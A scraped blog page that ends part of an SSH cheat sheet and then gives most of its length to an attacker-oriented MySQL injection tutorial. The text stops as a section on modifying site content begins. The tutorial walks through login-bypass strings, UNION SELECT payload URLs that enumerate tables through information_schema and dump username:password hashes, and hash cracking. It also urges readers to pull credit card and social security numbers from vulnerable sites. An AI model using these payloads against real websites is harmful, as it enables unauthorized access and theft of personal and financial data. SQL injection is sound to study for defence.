<tr><td>Mount remote directory as local folder</td><td><code>sshfs name@server:/path/remote_folder /path/local_folder</code></td></tr>
</tbody></table>
<h2>
        1.4 SSH security</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>Disable ssh by password</td><td><code>sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config</code></td></tr>
<tr><td>Disable root login</td><td><code>sed -i 's/^PermitRootLogin yes/#PermitRootLogin yes/' /etc/ssh/sshd_config</code></td></tr>
<tr><td>Enable/Disable SSH Host Key Checking</td><td><code>StrictHostKeyChecking yes</code> change <code>~/.ssh/config</code></td></tr>
<tr><td>Protect SSH server from brute force attacks</td><td><a href="https://www.digitalocean.com/community/tutorials/how-to-protect-ssh-with-fail2ban-on-ubuntu-14-04" rel="nofollow">fail2ban command line tool</a></td></tr>
</tbody></table>
<h2>
        1.5 SSH files</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th></tr>
<tr><td>Generate a new key pair</td><td><code>ssh-keygen</code>, <code>ssh-keygen -C "your_email@example.com" -t rsa</code></td></tr>
<tr><td>Generate key pair without interaction</td><td><code>ssh-keygen -t rsa -f /tmp/sshkey -N "" -q</code></td></tr>
<tr><td>Add passphrase protection to ssh keyfile</td><td><code>ssh-keygen -p -f id_rsa</code> </td></tr>
<tr><td>Convert OpenSSL format to SSH-RSA format</td><td><code>ssh-keygen -f my_ssh.pub -i</code></td></tr>
<tr><td>Critical ssh files/folders</td><td><code>~/.ssh/authorized_keys</code>, <code>~/.ssh/config</code>, <code>~/.ssh/known_hosts</code></td></tr>
<tr><td>SSH config file</td><td><code>/etc/ssh/ssh_config</code>, <code>/etc/ssh/sshd_config</code></td></tr>
<tr><td>SSH key file permission</td><td><code>chmod 600 ~/.ssh/id_rsa</code></td></tr>
<tr><td>SSH folder permission</td><td><code>chmod 700 ~/.ssh</code>, <code>chown -R $USER:$USER ~/.ssh</code></td></tr>
<tr><td>Authorized_keys file permission</td><td><code>chmod 644 ~/.ssh/authorized_keys</code></td></tr>
</tbody></table>
<h2>
        1.6 Parse ssh log file</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Command</th></tr>
<tr><td>Events of ssh down</td><td><code>grep -R "ssh.*Received signal 15" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh up</td><td><code>grep -R "sshd.*Server listening" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh failed login</td><td><code>grep -R "sshd.*Failed password for invalid user" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh break-in attemp</td><td><code>grep -R "sshd.*POSSIBLE BREAK-IN ATTEMPT!" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh port scap</td><td><code>grep -R "sshd.*Bad protocol version identification" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh login by public key</td><td><code>grep -R "sshd.*Accepted publickey for" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh login by password</td><td><code>grep -R "sshd.*Accepted password for" /var/log/auth.log</code></td></tr>
<tr><td>Events of ssh logout event</td><td><code>grep -R "sshd.*pam_unix(sshd:session): session closed for" /var/log/auth.log</code></td></tr>
</tbody></table>
<h2>
        1.7 SSH tools</h2>
<table>
          <tbody>
<tr><th>Name</th><th>Summary</th><th><br /></th></tr>
<tr><td>Export local env to Internet</td><td><a href="https://ngrok.com/" rel="nofollow">ngrok.com</a></td><td><br /></td></tr>
<tr><td>Reverse ssh proxy</td><td><a href="https://github.com/sshuttle/sshuttle">sshuttle</a></td><td><br /></td></tr>
<tr><td>SSH by auto input password</td><td><a href="https://www.cyberciti.biz/faq/noninteractive-shell-script-ssh-password-provider/" rel="nofollow">sshpass</a> sshpass -p “$PASSWORD” ssh -o StrictHostKeyChecking=no $username@$ssh_ip=</td><td><br /></td></tr>
</tbody></table>
<h2>
        1.8 Scripts</h2>
<ul>
<li>Inject local key to remote ssh server server</li>
</ul>
<div class="command wobble-horizontal">
<pre>cat <span class="pl-k">~</span>/.ssh/id_rsa.pub <span class="pl-k">|</span> ssh <span class="pl-smi">$username</span>@<span class="pl-smi">$ssh_hostk</span> <span class="pl-s"><span class="pl-pds">"</span>cat - >> ~/.ssh/authorized_keys<span class="pl-pds">"</span></span>
        
        ssh <span class="pl-smi">$username</span>@<span class="pl-smi">$ssh_hostk</span> <span class="pl-s"><span class="pl-pds">"</span>cat ~/.ssh/authorized_keys<span class="pl-pds">"</span></span></pre>
</div>
<ul>
<li>SSH Config file</li>
</ul>
<div class="content shadow-radial">
<pre>Host sandbox
             HostName 192.168.50.10
             StrictHostKeyChecking no
             User root
        </pre>
<pre>Host 192.168.1.*
           StrictHostKeyChecking no
           Port 32882
           UserKnownHostsFile=/dev/null
           IdentityFile ~/.ssh/id_rsa
        </pre>
</div>
<ul>
<li>Use expect to run ssh command with credential auto input</li>
</ul>
<div class="content shadow-radial">
<pre>    #!/usr/bin/expect
    set timeout 20
    set command "cat /etc/hosts"
    set user "vagrant"
    set password "vagrant"
    set ip "192.168.50.10"
    spawn ssh -o stricthostkeychecking=no $user@$ip "$command"
    expect "*password:*"
    send "$password\r"
    expect eof;</pre>
</div>
<ul>
<li>ssh reverse tunnel</li>
</ul>
<div class="content shadow-radial">
<pre>    # https://www.howtoforge.com/reverse-ssh-tunneling
    autossh -M 40000 -p 2702 -i /home/denny/al -fN \
        -o "PubkeyAuthentication=yes" \
        -o "StrictHostKeyChecking=false" -o "PasswordAuthentication=no" \
        -o "ServerAliveInterval 60" -o "ServerAliveCountMax 3" \
        -R 123.57.240.189:29995:localhost:22 root@123.57.240.189
    </pre>
</div>
</div>
</div>

Cheat Sheet Linux Tutorials SSH Tutorials SSH Cheat Sheet

This page designed to help beginners starting out with SSH by providing a usable “SSH cheat sheet” full of common commands...

SQL Injection Complete

6/26/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaQBqRq5JkCaeVBQgoHYd5V4BFsXnZoW-7ayaUDF3_DgaM6GY6M9DpCTcSOSki9fFTXHPxOLSX7wD4kkw5x2IVb9QaF4EgB8Hy7WcZzvZsgXHYsIyn3uTjPKG4XUU0Lu4OjQJ5ursPHEI/s1600/fa7c5b5f326e3c4a6cc9db19e7edbaf0-xkcd-bobby-tables.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="MySQL injection tutorial" border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaQBqRq5JkCaeVBQgoHYd5V4BFsXnZoW-7ayaUDF3_DgaM6GY6M9DpCTcSOSki9fFTXHPxOLSX7wD4kkw5x2IVb9QaF4EgB8Hy7WcZzvZsgXHYsIyn3uTjPKG4XUU0Lu4OjQJ5ursPHEI/s1600/fa7c5b5f326e3c4a6cc9db19e7edbaf0-xkcd-bobby-tables.png" title="MySQL injection tutorial" width="640" /></a></div>
<br />
<m:smallfrac m:val="off">    <m:dispdef>    <m:lmargin m:val="0">    <m:rmargin m:val="0">    <m:defjc m:val="centerGroup">    <m:wrapindent m:val="1440">    <m:intlim m:val="subSup">    <m:narylim m:val="undOvr">   </m:narylim></m:intlim> </m:wrapindent>  </m:defjc></m:rmargin></m:lmargin></m:dispdef></m:smallfrac><br />
<div align="center" class="MsoNormal" style="text-align: center;">
<b><i><u><span style="color: #7030a0; font-size: 16pt; line-height: 115%;">MySQL injection tutorial (Complete)</span></u></i></b></div>
<br /><div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">TABLE OF CONTENT:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
#INTRO</div>
<div class="MsoNormal" style="text-align: justify;">
#WHAT IS DATABASE?</div>
<div class="MsoNormal" style="text-align: justify;">
#WHAT IS SQL INJECTION?</div>
<div class="MsoNormal" style="text-align: justify;">
#BYPASSING LOGINS</div>
<div class="MsoNormal" style="text-align: justify;">
#ACCESSING SECRET DATA</div>
<div class="MsoNormal" style="text-align: justify;">
#Checking for vulnerability</div>
<div class="MsoNormal" style="text-align: justify;">
#Find the number of columns</div>
<div class="MsoNormal" style="text-align: justify;">
#Addressing vulnerable part</div>
<div class="MsoNormal" style="text-align: justify;">
#Finding MySQL version</div>
<div class="MsoNormal" style="text-align: justify;">
#MySQL 5 or above injection</div>
<div class="MsoNormal" style="text-align: justify;">
#MySQL 4 injection</div>
<div class="MsoNormal" style="text-align: justify;">
#MODIFYING SITE CONTENT</div>
<div class="MsoNormal" style="text-align: justify;">
#SHUTTING DOWN THE MySQL SERVER</div>
<div class="MsoNormal" style="text-align: justify;">
#LOADFILE</div>
<div class="MsoNormal" style="text-align: justify;">
#MySQL ROOT</div>
<div class="MsoNormal" style="text-align: justify;">
#MAJOR MySQL COMMANDS</div>
<div class="MsoNormal" style="text-align: justify;">
#FINALIZING THE INJECTION TUTORIAL</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">INTRO!!</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Greetz to all, I'm Hardeep. In this tutorial, I will demonstrate the infamous MySQL injection in newbie perspective so that all the newbies become able to become successful SQL injector. But, be sure to check various php & mysql functions in various sites which will help you a lot... Also do not be harsh on me if there are any grammatical errors on the tutorial bcoz English is not my native language. Now lets begin our walkthrough of SQL injection.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">WHAT IS DATABASE?</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Just general info.. Database is the application that stores a collection of data. Database offers various APIs for creating, accessing and managing the data it holds. And database(DB) servers can be integrated with our web development so that we can pick up the things we want from the database without much difficulties. DB may hold various critical informations like usernames, passwords, credit cares,etc. So, DB need to be secured but many DB servers running are insecured either bcoz of their vulnerability or bcoz of poor programming handles. To name few DB servers, MySQL(Open source), MSSQL, MS-ACCESS, Oracle, Postgre SQL(open source), SQLite, etc.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">WHAT IS SQL INJECTION?</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.</div>
<div class="MsoNormal" style="text-align: justify;">
In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents. So lets head forward on our real walkthrough..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: red;">BYPASSING LOGINS</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Suppose, a site has a login form & only the registered users are allowed to enter the site. Now, say u wanted to bypass the login and enter the site as the legitimate user. If the login scriptblock is not properly sanitized by the programmer, u may have luck to enter the site. U might be able to login into the site without knowing the real username and real password by just interacting with the DB server. So, isn't that the beauty of SQL injection??</div>
<div class="MsoNormal" style="text-align: justify;">
Let's see an example, where the username admin with the password pass123 can login to the site. Suppose, the SQL query for this is carried out as below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='admin' AND password='pass123'</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
And if above SELECT command evaluates true, user will be given access to the site otherwise not. Think what we could do if the scriptblock is not sanitized. This opens a door for the hackers to gain illegal access to the site.</div>
<div class="MsoNormal" style="text-align: justify;">
In this example, the attacker can enter the following user data in the login form:</div>
<div class="MsoNormal" style="text-align: justify;">
username: <i>a or 1=1--</i></div>
<div class="MsoNormal" style="text-align: justify;">
password:<i>blank</i></div>
<div class="MsoNormal" style="text-align: justify;">
So, this would make our query as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='a' or 1=1-- AND password=''</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Note that -- is the comment operator and anything after it will be ignored as a comment. There exists another comment operator which is /*.</div>
<div class="MsoNormal" style="text-align: justify;">
So our above query becomes:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #4f81bd;">SELECT USER from database WHERE username='a' or 1=1</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Now this query evaluates true even if there is no user called 'a' bcoz 1=1 is always true and using OR makes the query return true when one of the query is true. And this gives access to the site admin panel.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
There can be various other username and password combinations to play with the vulnerable sites. U can create ur own new combinations for the site login.</div>
<div class="MsoNormal" style="text-align: justify;">
Few such combinations are:</div>
<div class="MsoNormal" style="text-align: justify;">
username:<i>' or 1='1 password:' or 1='1</i></div>
<div class="MsoNormal" style="text-align: justify;">
username:<i>' or '1'='1' password:' or '1'='1'</i></div>
<div class="MsoNormal" style="text-align: justify;">
username:or 1=1 password:or 1=1</div>
<div class="MsoNormal" style="text-align: justify;">
and there are many more cheat sheets. Just google. In fact, you can create your own such combination to bypass logins..</div>
<div class="MsoNormal" style="text-align: justify;">
That's all about bypassing logins.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: red;">ACCESSING SECRET DATA</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
SQL injection is not essentially done for bypassing logins only but it is also used for accessing the sensitive and secret data in the DB servers. This part is long, so I would be discussing in the subsections.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 1:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Checking for vulnerability</div>
<div class="MsoNormal" style="text-align: justify;">
Suppose, u got a site:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Now to check if it is vulnerable, u would simply add ' in the end i.e. where id variable is assigned.</div>
<div class="MsoNormal" style="text-align: justify;">
So, it is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5'</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Now if the site is not vulnerable, it filters and the page loads normally.</div>
<div class="MsoNormal" style="text-align: justify;">
But, if it doesn't filter the query string, it would give the error something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">"MySQL Syntax Error By '5'' In Article.php on line 15."</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or</div>
<div class="MsoNormal" style="text-align: justify;">
error that says us to check the correct MySQL version or MySQL Fetch error or sometimes just blank page. The error may be in any form. So it makes us sure that the site is vulnerable.</div>
<div class="MsoNormal" style="text-align: justify;">
Also just using ' may not be the sure test; so you may try different things like:</div>
<div class="MsoNormal" style="text-align: justify;">
www.site.com/article.php?id=5 union select 1--</div>
<div class="MsoNormal" style="text-align: justify;">
If you get error with this, you again come to know that its vulnerable... Just try different things..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 2:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Find the number of columns</div>
<div class="MsoNormal" style="text-align: justify;">
So, now its time to find the number of columns present. For this purpose, we will be using 'order by' until we get error.</div>
<div class="MsoNormal" style="text-align: justify;">
That is, we make our URL query as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 1/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//this didn't give error.</div>
<div class="MsoNormal" style="text-align: justify;">
Now, I do increase it to 2.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//still no error</div>
<div class="MsoNormal" style="text-align: justify;">
So, we need to increase until we get the error.</div>
<div class="MsoNormal" style="text-align: justify;">
In my example, I got error when I put the value 3 i.e.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 order by 3/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//this gave me error.</div>
<div class="MsoNormal" style="text-align: justify;">
So, it means there are 2 columns in the current table(3-1=2). This is how we find the number of columns.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 3:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
Addressing Vulnerable Part:</div>
<div class="MsoNormal" style="text-align: justify;">
Now, we need to use union statement & find the column which we can replace so as to see the secret data on the page.</div>
<div class="MsoNormal" style="text-align: justify;">
First lets craft the union statement which won't error.. This becomes like this:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This would error because our query needs to have one more null there.. Also null doesn't cause any type conversion error as it is just null..</div>
<div class="MsoNormal" style="text-align: justify;">
So for our injection, it becomes:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null,null/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
For this we do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Now we will see the number(s) on the page somewhere. I mean, either 1 or 2 or both 1 & 2 are seen on the page. Note that the number may be displayed anywhere like in the title of the page or sometime even in the hidden tags in the source.. So, this means we can replace the number with our commands to display the private data the DB holds.</div>
<div class="MsoNormal" style="text-align: justify;">
In my example, 1 is seen on the page. This means, I should replace 1 with my things to proceed further. Got it?? So lets move forward.</div>
<div class="MsoNormal" style="text-align: justify;">
Quick note: Sometime the numbers may not be displayed so it becomes hard for you to find the column which you can use to steal the data.. So in that case, you may try something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT xyz123,null/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT null,xyz123/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
If xyz123 is displayed somewhere in the page, you may go further for injection replacing the text part... Here, I have kept text instead of integer to check if text is displayed... Also, be sure to check source because sometimes they may be in some hidden tags..</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><u><span style="color: #00b050;">Sub-section 4:</span></u></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">Finding MySQL version:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
For our injection, it is necessary to find the MySQL version bcoz if it is 5, our job becomes lot easier. To check the version, there is a function @@version or version().</div>
<div class="MsoNormal" style="text-align: justify;">
So, what we do is replace 1(which is the replaceable part) with @@version i.e. we do as below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT @@version,2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
or</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT version(),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
So, this would return the version of MySQL running on the server.</div>
<div class="MsoNormal" style="text-align: justify;">
But, sometimes u may get error with above query. If that is the case, do use of unhex(hex()) function like this:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=UNION ALL SELECT unhex(hex(@@version)),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Remember that if u have to use unhex(hex()) function here, u will also have to use this function in the injection process later on.</div>
<div class="MsoNormal" style="text-align: justify;">
@@version will give u the version. It may be either 4(or below) or 5 & above. I m now going to discuss the injection process for version 5 and 4 separately coz as I said earlier, version 5 makes it easy for us to perform the injection.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Quick note: Also, you may check for user, database,etc.. by using following:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT user(),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">http://www.site.com/article.php?id=5 UNION ALL SELECT database(),2/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: #00b050;">Sub-section 5:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<u><span style="color: red;">MySQL 5 or above injection:</span></u></div>
<div class="MsoNormal" style="text-align: justify;">
Here, I m gonna show u how to access data in the server running MySQL 5 or above.</div>
<div class="MsoNormal" style="text-align: justify;">
U got MySQL version 5.0.27 standard using the @@version in url parameter. MySQL from version 5 has a useful function called information_schema. This is table that holds information about the tables and columns present in the DB server. That is, it contains name of all tables and columns of the site.</div>
<div class="MsoNormal" style="text-align: justify;">
For getting table list, we use: table_name from information_schema.tables</div>
<div class="MsoNormal" style="text-align: justify;">
For getting column list, we use: column_name from information_schema.columns</div>
<div class="MsoNormal" style="text-align: justify;">
So our query for getting the table list in our example would be:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT table_name, 2 FROM information_schema.tables/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
And yeah if u had to use unhex(hex()) while finding version, u will have to do:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT unhex(hex(table_name)),2 FROM information_schema.tables/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
This will list all the tables present in the DB. For our purpose, we will be searching for the table containing the user and password information. So we look the probable table with that information. U can even write down the table names for further reference and works. For my example, I would use the tbluser as the table that contains user & password.</div>
<div class="MsoNormal" style="text-align: justify;">
Similarly, to get the column list, we would make our query as:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
This returns all the columns present in the DB server. Now from this listing, we will look for the probable columns for username and password. For my injection, there are two columns holding these info. They are username and password respectively. So that's the column what I wanted. U have to search and check the columns until u get no error.</div>
<div class="MsoNormal" style="text-align: justify;">
Alternatively to find the column in the specific table, u can do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT column_name,2 FROM information_schema.columns WHERE table_name='tbluser'</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
This would display the columns present in the table tbluser. But this may not work always.</div>
<div class="MsoNormal" style="text-align: justify;">
Let me show u how I got to know that the above two columns belong to table tbluser. Now let me show how to display the username and password stored in the DB.</div>
<div class="MsoNormal" style="text-align: justify;">
There is a function called concat() that allows me to join the two columns and display on the page. Also I will be using :(colon) in the hex form. Its hex value is 0x3a(thats zero at beginning not alphabet o.)</div>
<div class="MsoNormal" style="text-align: justify;">
What I do is:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
And this gives me the username and password like below:</div>
<div class="MsoNormal" style="text-align: justify;">
admin:9F14974D57DE204E37C11AEAC3EE4940</div>
<div class="MsoNormal" style="text-align: justify;">
Here the password is hashed and in this case, its MD5. Now u need to get the hash cracker like John The Ripper(http://www.openwalls.org), Cain & Able(http://www.oxid.it) and crack the hash. The hash may be different like SHA1, MD5,etc.. or sometimes plaintext password may be shown on the page. In this case, when I crack I get the password as sam207.</div>
<div class="MsoNormal" style="text-align: justify;">
Now u get to admin login page and login as admin. Then u can do whatever u like. So that's all for the MySQL version 5.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">Sub-section 6:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<span style="color: #00b050;">MySQL version 4 injection:</span></div>
<div class="MsoNormal" style="text-align: justify;">
Now say ur slave has MySQL version 4. Then u won't be able to get the table name and column name as in MySQL version 5 bcoz it lacks support for information_schema.tables and information_schema.columns. So now u will have to guess the table name and column name until u do not get error. Also, if the mysql version is below 5, you may have to depend on the luck & error messages displayed.. Sometimes the error will give you the table name & column name & that gives you some idea to guess the correct table & columns name.. Say, the error reports sam207_article in the error.. So, you know that sam207_ is the prefix used in the table names...</div>
<div class="MsoNormal" style="text-align: justify;">
Anyway, lets go for MySQL version 4 injection...</div>
<div class="MsoNormal" style="text-align: justify;">
For example, u would do as below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM user/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
Here, I guessed for the table name as user. But this gave me the error bcoz the table with the name user didn't exist on the DB. Now I kept on guessing for the table name until I didn't get error.</div>
<div class="MsoNormal" style="text-align: justify;">
When I put the table name as tbluser, the page loaded normally. So I came to know that the table tbluser exists.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT 1,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
The page loaded normally. Now again u have to guess the column names present in the tbluser table.</div>
<div class="MsoNormal" style="text-align: justify;">
I do something like below:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT user_name,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//this gave me error so there is no column with this name.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT username,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//It loaded the page normally along with the username from the table.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT pass,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//it errored so again the column pass doesnot exist in the table tbluser.</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT password,2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
//the page loaded normally with password hash(or plaintext password).</div>
<div class="MsoNormal" style="text-align: justify;">
Now u may do this:</div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><span style="color: #00b0f0;">www.site.com/article.php?id=5 UNION ALL SELECT concat(username,0x3a,password),2 FROM tbluser/*</span></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
This gave me:</div>
<div class="MsoNormal" style="text-align: justify;">
admin:9F14974D57DE204E37C11AEAC3EE4940</div>
<div class="MsoNormal" style="text-align: justify;">
On cracking, I got sam207 as password. Now I just need to login the site and do whatever I wanted.</div>
<div class="MsoNormal" style="text-align: justify;">
Few table names u may try are: user(s), table_user(s), tbluser(s), tbladmin(s), admin(s), members, etc. As said earlier, be sure to look on the errors because sometime they give fortunately for us the errors with table names & column names...</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
U may try these methods so as to get various data such as credit card numbers, social security numbers, etc. and etc. if the database holds. Just what u need to do is figure out the columns and get them displayed on the vulnerable page. That's all on the injection for accessing secret data.</div>
<div class="MsoNormal" style="text-align: justify;">
<br /></div>
<div class="MsoNormal" style="text-align: justify;">
<b><i><u><span style="color: red;">MODIFYING SITE CONTENT:</span></u></i></b></div>
<div class="MsoNormal" style="text-align: justify;">
Sometime, u find the vulnerable site and get evrything to know but maybe admin login doesn't exist or it is accessible for certain IP range. Even in that context, u can use some kewl SQL commands for modifying the site content. I haven't seen much articles addressing this one so thought to include it here.</div>
<div class="MsoNormal" style="text-align: justify;">
Here, I will basically talk about few SQL commands u may use to change the site content. Therse commands are the workhorse of MySQL & are deadly when executed.</div>
